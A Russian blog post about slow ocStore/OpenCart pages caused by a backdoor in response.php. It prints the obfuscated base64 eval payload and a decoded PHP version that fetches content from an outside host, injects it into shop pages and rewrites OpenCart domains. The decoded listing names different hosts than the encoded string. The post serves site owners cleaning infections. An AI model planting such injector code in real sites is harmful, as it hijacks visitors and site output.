Вредоносный код в исходниках ocStore ( на основе OpenCart )


Вредоносный код, вирусы, OpenCart, ocStore, долгая загрузка страниц

Наконец добрался до новой записи в нашем блоге. Что не может не радовать :-)

Сегодня хочу рассказать о проблеме, с которой могут столкнуться пользователи сборки ocStore на основе OpenCart. Об этой системе я однажды писал в блоге( "Проблемы выбора движка для интернет-магазина. OpenCart" ).

У меня стоит сборка ocStore версии v_1.5.1.3. Знакомство с системой началось довольно хорошо: разобрался с функционалом, настроил админку, изменил дизайн и другое. Но со временем производительность сайта стала просто ужасной! Для определения скорости страниц установил счетчик на страницы, который еще больше меня расстраивал полученными данными:

  • главная - 5.355435 sec
  • категория - 9.317824 sec
  • товар - 5.653596 sec

При средней скорости загрузки страниц на других сайтах (порядка 0,2 - 0,4 сек) показатель очень плохой.

Решение проблемы долгой загрузки страниц на OpenCart (ocStore)

Мною было перерыто большое количество сайтов в поисках решения проблемы. Большинство из предложенного не помогало. Тем более советы были в основном на увеличении скорости загрузки страниц при количестве товаров в несколько тысяч штук. У меня всего 82 :-/

Решил прокатать сайт на вирусы, но ничего не нашлось.

Но потом на одном из форумов заметил довольно унылую по количеству обсуждающих тему!, в которой предлагалось проверить на вирусы исходники файлов, так как в них возможно с самого начала был зашит вредоносный код.

А необходимо было проверить файл по следующему пути в исходных файлах сайта:

/system/library/response.php

Если в файле встретилась конструкция вида, то приношу свои "поздравления" (:

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

Товарищ расшифровал код:

function get_page($url){
        $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL,$url );
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch,CURLOPT_VERBOSE,false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $page=curl_exec($ch);
        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        switch($httpcode){
                case '200':
                        return $page;
                break;
                case '404';
                        return false;
                break;
        }
}
if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("", "", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}

Данный зашифрованный код пытается долбиться в http://googlejavascript.com/api.php. Не понятно что он там хотел, но это уже и не важно.

Лучшим способом очиститься от этого вредоносного файла с кодом - это заменить файл response.php на "чистый" файл из этой директории.

Скачайте исходник версии OpenCart, которая вам подходит и возьмите из нее нужный файлик.

Та-дам! Теперь все в OpenCart (ocStore) летает! :-)

Скорость открытия страницы (у меня) 0,3 секунды! Что в 12 раз больше того, что мы имели вначале.


28.08.2013 Эту страницу просмотрели за все время 27444 раз(а)


Twitter


Облако тегов